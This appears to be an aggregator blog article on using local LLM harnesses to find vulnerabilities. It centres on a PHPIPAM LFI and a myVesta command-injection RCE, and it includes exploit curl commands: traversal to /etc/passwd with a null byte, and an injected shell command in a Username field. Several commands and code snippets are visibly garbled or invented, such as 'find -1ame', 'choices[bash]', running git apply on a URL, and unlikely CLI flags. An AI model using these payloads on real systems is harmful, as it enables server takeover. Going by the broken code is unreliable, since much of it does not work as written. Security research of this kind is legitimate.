Local AI For Penetration Testing & Research: How Open-Source Models Are Redefining Vulnerability Discovery + Video

Introduction:

The cybersecurity industry is witnessing a paradigm shift as local AI models demonstrate remarkable competence in code review and vulnerability discovery, challenging the dominance of cloud-based solutions. Recent benchmarks evaluating four distinct approaches against a known PHPIPAM Local File Inclusion (LFI) vulnerability revealed that the harness and methodology matter more than the model itself—with a custom local harness achieving 100% detection rates while cloud-based SOTA solutions remained inconsistent. This convergence of open-source intelligence and penetration testing tradecraft is democratizing access to advanced security capabilities, enabling researchers and practitioners to conduct thorough, privacy-preserving code reviews without the prohibitive costs of commercial AI APIs.

Learning Objectives:

Understand the comparative effectiveness of various AI-driven approaches (Semgrep, agentic AI pentesting, skill-based code review, and local custom harnesses) for vulnerability discovery
Master the implementation of a local AI-powered code review harness that walks models through source files one at a time for systematic vulnerability detection
Learn to deploy and optimize open-source LLMs (Qwen, GLM, etc.) on local hardware for security research, including token management and false positive mitigation
Gain hands-on experience with real-world vulnerability patterns including authenticated LFI and RCE, with practical commands for Linux/Windows environments

You Should Know:

1. The Benchmark Vulnerability: PHPIPAM Authenticated LFI (CVE-2026-12194)

The benchmark vulnerability resides in PHPIPAM’s API endpoint where the `controller` parameter flows unsanitized from $_GET, $_POST, JSON body, or XML body directly into require_once(). This enables directory traversal (../) to include arbitrary PHP files from the filesystem, provided the API is enabled and valid credentials exist. While the default impact is limited (no apparent way to upload arbitrary `.php` files), the vulnerability serves as an excellent test case for AI-driven code review because it requires understanding data flow across multiple files and recognizing the absence of sanitization.

Step‑by‑step guide to reproduce and test this vulnerability locally:

Set up PHPIPAM vulnerable instance (for educational purposes only):

Clone the vulnerable version
git clone https://github.com/phpipam/phpipam.git
cd phpipam
git checkout 137141d89a44e9979eb0df52427ec0e676077f03

2. Enable the API (disabled by default):

 Edit config.php and set:
define('API_ENABLED', true);

3. Obtain an API token with valid credentials:

curl -X POST http://localhost/api/index.php \
-d "username=admin&password=password&action=login"
 Capture the token from response

4. Exploit the LFI:

curl "http://localhost/api/index.php?controller=../../../../etc/passwd%00.php" \
-H "Authorization: Bearer YOUR_TOKEN"

Note: The `.php` extension requirement means you’re limited to files ending with `.php` or using null-byte termination in older PHP versions.

5. Apply the official patch if running production:

 From the PHPIPAM PR 4625
git apply https://github.com/phpipam/phpipam/pull/4625.patch

Comparative Analysis: Why Semgrep and Agentic AI Fell Short

Semgrep, run with semgrep scan --config auto, failed to identify the vulnerability entirely. This highlights a core challenge with traditional SAST tooling: you can only write rules for dangerous patterns you already know exist. The GLM 5.1 + Strix agentic AI workflow—despite cloning repositories, exploring codebases, and installing applications autonomously over ~12 hours—consumed close to 60 million tokens (~$30 USD with GLM, or $180–$300 with Sonnet) without finding the LFI. The agentic approach, while genuinely exciting to watch, demonstrated that raw computational power and token expenditure don’t guarantee thoroughness.

Step‑by‑step guide to setting up Strix for AI-driven pentesting:

1. Install Strix (requires Docker):

git clone https://github.com/usestrix/strix.git
cd strix
docker-compose up -d

Configure API keys for your chosen model (GLM, GPT, or Claude):

Edit .env file
echo "OPENAI_API_KEY=your_key" >> .env
echo "STRIX_MODEL=glm-5.1" >> .env  or gpt-5.4, claude-sonnet-4.6

Run a security assessment against a target repository:

strix scan --target https://github.com/phpipam/phpipam.git \
--output report.md \
--max-tokens 60000000

4. Monitor token consumption in real-time:

 Strix provides live token counters in the dashboard
 Access at http://localhost:3000

Windows alternative (PowerShell):

 Using WSL2 for Docker compatibility
wsl --install -d Ubuntu
wsl -d Ubuntu bash -c "git clone https://github.com/usestrix/strix.git && cd strix && docker-compose up -d"

Cloud SOTA + Skill-Based Code Review: Inconsistent and Expensive

The “AI skills” approach—Markdown files providing agents with specific instructions, workflows, and expertise—produced highly inconsistent results. Using a community-contributed security-review skill with modifications (removing dependency audit, secrets scan, and proposed patch steps; fanning out each vulnerability category into dedicated sub-agents; expanding the Injection Flaws section with LFI guidance), the scan would sometimes find the vulnerability and sometimes miss it entirely. The root cause: in a reasonably large codebase, reviews weren’t thorough, and whether the issue was found often came down to which files the agent decided to read and what terms it chose to grep for. Once pointed at the correct file, almost every model identified the vulnerability immediately.

Step‑by‑step guide to implementing AI skills for code review:

1. Create a security-review skill file (`security-review.md`):

 Security Review Skill
Instructions
- Review each source file systematically
- Focus on: Injection Flaws (LFI, SQLi, OS Command), Access Control, XSS
- For each file, trace user input from entry points to sinks
- Flag any unsanitized user input reaching sensitive functions

LFI Detection Pattern
- Look for: require_once, include, include_once with user-controllable parameters
- Check for: $_GET, $_POST, $_REQUEST, $_COOKIE flowing into file operations
- Verify: path sanitization (realpath, basename, allowlist) is present

2. Use the skill with Claude Code:

claude-code --skill security-review.md --target ./phpipam

Optimize for Cursor + GPT (approximately $5-10 USD via OpenRouter):

– Open Cursor IDE
– Load the skill file as custom instructions
– Set model to GPT-5.5 (Medium)
– Run review with explicit file-by-file prompting

4. Troubleshooting refusals:

 When models refuse due to task size, break into smaller chunks:
find ./phpipam -1ame ".php" | xargs -1 1 -I {} echo "Review file: {}" > file_list.txt
 Then process each file individually with the skill

Local AI Model + Custom Harness: The Winning Approach

The breakthrough came from swapping the single big review for a small local harness. Rather than asking one agent to reason about the whole codebase at once, the harness walks a local model over the project one source file at a time, handing it a single file plus the context it needs on each pass. This approach found the benchmark vulnerability every single run. For the PHPIPAM codebase, approximately 120 million tokens were consumed reviewing around 800 source code files. The harness leverages Project Black’s existing Hashcat rig—hardware sufficient to run Qwen 3.6 27B with ~170k context.

Step‑by‑step guide to building your own local AI harness:

Set up Qwen 3.6 27B locally (requires GPU with 24GB+ VRAM):

Using Ollama
ollama pull qwen:27b-chat

Or using vLLM for production deployment
pip install vllm
python -m vllm.entrypoints.openai.api_server \
--model Qwen/Qwen-3.6-27B-Chat \
--tensor-parallel-size 2 \
--max-model-len 170000

2. Create the harness script (`ai_code_review.py`):

import os
import subprocess
from openai import OpenAI

Initialize local client
client = OpenAI(base_url="http://localhost:8000/v1", api_key="dummy")

def review_file(filepath, context):
with open(filepath, 'r') as f:
content = f.read()

prompt = f"""Review this PHP file for security vulnerabilities.
Context: {context}
File: {filepath}
Content:
{content}

Focus on: Local File Inclusion (LFI), SQL Injection, OS Command Injection.
Trace user input (GET, POST, REQUEST) to sensitive functions.
Report any unsanitized flows."""

response = client.chat.completions.create(
model="qwen-3.6-27b",
messages=[{"role": "user", "content": prompt}],
max_tokens=4096
)
return response.choices[bash].message.content

Walk through source files
source_dir = "./phpipam"
context = "PHPIPAM is a IP address management tool. The API is in api/index.php"

for root, dirs, files in os.walk(source_dir):
for file in files:
if file.endswith('.php'):
filepath = os.path.join(root, file)
result = review_file(filepath, context)
print(f"=== {filepath} ===\n{result}\n")

3. Run the harness:

python ai_code_review.py > review_output.txt

Filter false positives (common issue with this approach):

Use grep to isolate high-confidence findings
grep -A 20 "High Risk|Critical|Path Traversal|Arbitrary File" review_output.txt

Windows alternative (using WSL for GPU access):

 Install WSL2 with CUDA support
wsl --install -d Ubuntu
wsl -d Ubuntu bash -c "curl -fsSL https://ollama.com/install.sh | sh"
wsl -d Ubuntu bash -c "ollama pull qwen:27b-chat"
 Run the Python script within WSL

5. Real-World Validation: myVesta Authenticated RCE (CVE-2026-12195)

The true test came when the harness was applied to myVesta—a web server control panel similar to cPanel. Within 8 hours, it discovered an authenticated RCE vulnerability. Legacy code in the FTP username deletion function allowed the Username parameter to be passed directly into exec. This meant that anyone with a hosting account could potentially take over the entire server, as commands execute as the higher-privileged admin user. The myVesta team responded quickly, and the issue is now tracked as CVE-2026-12195.

Step‑by‑step guide to testing for OS command injection:

1. Identify user-controlled parameters in the application:

 Search for exec, system, passthru, shell_exec in the codebase
grep -rn "exec|system|passthru|shell_exec" ./myvesta/

2. Trace data flow from input to execution:

 Find where Username parameter is defined
grep -rn "\$_GET['Username']|\$_POST['Username']" ./myvesta/

3. Craft a test payload (educational use only):

 Attempt command injection through the FTP deletion function
curl -X POST https://target.myvesta.com/api/ftp/delete \
-d "Username=test; id > /tmp/exploit.txt" \
-H "Authorization: Bearer VALID_TOKEN"

4. Verify execution:

 Check if the command executed
curl https://target.myvesta.com/api/file/read?path=/tmp/exploit.txt

Mitigation commands (Linux sysadmin):

 Apply myVesta patch
cd /usr/local/vesta
git pull origin master
 Or manually sanitize input in the FTP deletion function
 Replace: exec("v-delete-user-ftp " . $username);
 With: exec("v-delete-user-ftp " . escapeshellarg($username));

6. Infrastructure Requirements and Cost Optimization

Running local AI models for security research requires substantial hardware. Project Black’s Hashcat rig—originally built for password cracking—proved sufficient to run Qwen 3.6 27B with ~170k context. This highlights an important synergy: GPU resources used for password cracking can be repurposed for AI-driven code review during off-hours. The token consumption for reviewing 800 source files was approximately 120 million tokens, which would be cost-prohibitive with commercial APIs but becomes feasible with locally hosted models.

Step‑by‑step guide to optimizing local AI infrastructure:

1. Assess hardware requirements:

 Check GPU memory
nvidia-smi --query-gpu=memory.total --format=csv
 Qwen 27B requires ~24GB+ VRAM for full context

2. Deploy with quantization to reduce memory footprint:

 Using Ollama with 4-bit quantization
ollama pull qwen:27b-chat-q4_K_M

Or using llama.cpp
git clone https://github.com/ggerganov/llama.cpp
cd llama.cpp
make
./quantize /path/to/qwen-27b.gguf qwen-27b-q4_K_M.gguf q4_K_M

3. Implement context window management:

 Truncate large files to fit context window
MAX_CONTEXT = 170000  tokens
def truncate_content(content, max_tokens=MAX_CONTEXT):
tokens = tokenizer.encode(content)
if len(tokens) > max_tokens:
return tokenizer.decode(tokens[:max_tokens])
return content

4. Schedule batch processing to maximize GPU utilization:

 Run reviews overnight when password cracking isn't active
echo "python ai_code_review.py" | at 02:00

7. Limitations and Future Directions

Despite its successes, the local AI harness has limitations. It generates many false positives, requiring manual triage. It struggles with identifying more complex Broken Access Control issues where there are nuanced differences in assumptions. The approach is exclusively code-review based, lacking the ability to perform dynamic validation or understand broader application context. However, the myVesta RCE discovery proves its practical value, and the author notes that “there are more findings currently cooking” with details held back to allow affected projects time to patch.

Step‑by‑step guide to reducing false positives:

1. Implement confidence scoring:

def score_finding(response):
keywords = ['critical', 'high risk', 'arbitrary', 'unauthorized']
score = sum(1 for kw in keywords if kw in response.lower())
return score / len(keywords)

2. Feed outputs into validation tooling:

 Pipe findings into a secondary AI for exploitability validation
python validate_findings.py --input review_output.txt --model qwen:27b

3. Create a triage workflow:

 Sort findings by confidence
grep -l "High Risk" review_output.txt > high_priority.txt
grep -l "Medium Risk" review_output.txt > medium_priority.txt

What Undercode Say:

Key Takeaway 1: The harness/approach matters more than the model. A local Qwen 27B with a custom file-by-file harness outperformed cloud SOTA models (GLM 5.1, GPT-5.5) and agentic systems (Strix) that cost $30–$300 per run. This democratizes access: you don’t need the most expensive API—you need the right methodology.
Key Takeaway 2: Traditional SAST tools like Semgrep are blind to unknown vulnerability patterns. AI-driven approaches excel at identifying novel issues (like the myVesta RCE) because they understand semantics, not just signatures. However, they require careful orchestration—single-pass code reviews are unreliable, while systematic file-by-file analysis achieves 100% detection rates.

Analysis: The implications are profound. Local AI is transitioning from a novelty to a practical tool for security researchers. The ability to run open-source models like Qwen on existing hardware (Hashcat rigs, gaming GPUs) eliminates privacy concerns associated with sending proprietary code to cloud APIs. The cost barrier drops from hundreds of dollars per scan to essentially zero (electricity only) for organizations with suitable hardware. However, the false positive rate remains a challenge, and the approach currently excels at known vulnerability classes (LFI, RCE) while struggling with logic flaws and access control issues. The author’s prediction that “as local AI models keep improving, these capabilities are going to land in more hands, not fewer” suggests a future where AI-assisted code review becomes a standard part of the penetration testing workflow, potentially enabling quicker and more thorough assessments for customers. The key differentiator will be the harness design—those who build systematic, context-aware review pipelines will outperform those who simply throw tokens at the problem.

Prediction:

+1 Local AI models will become a standard component of penetration testing toolkits within 12–18 months, with custom harnesses evolving into commercial products that offer file-by-file analysis with automated false-positive filtering.

+1 Open-source models (Qwen, Llama, Mistral) will continue closing the gap with proprietary APIs, making high-quality code review accessible to independent researchers and small consultancies without cloud API budgets.

-1 The false positive challenge will persist, requiring human-in-the-loop validation and potentially creating a new bottleneck—skilled security engineers will still be needed to triage AI-generated findings.

+1 Hardware costs will decrease as quantization techniques improve and specialized NPUs become more common, enabling local AI inference on laptops and edge devices.

-1 Organizations without GPU infrastructure may struggle to adopt local AI, potentially widening the gap between well-resourced security teams and those with limited budgets.

-P The discovery of vulnerabilities like the myVesta RCE demonstrates that AI can find issues in widely deployed software, potentially leading to faster patching cycles but also raising concerns about weaponization of AI by threat actors.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Omar Aljabr – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Listen to this Post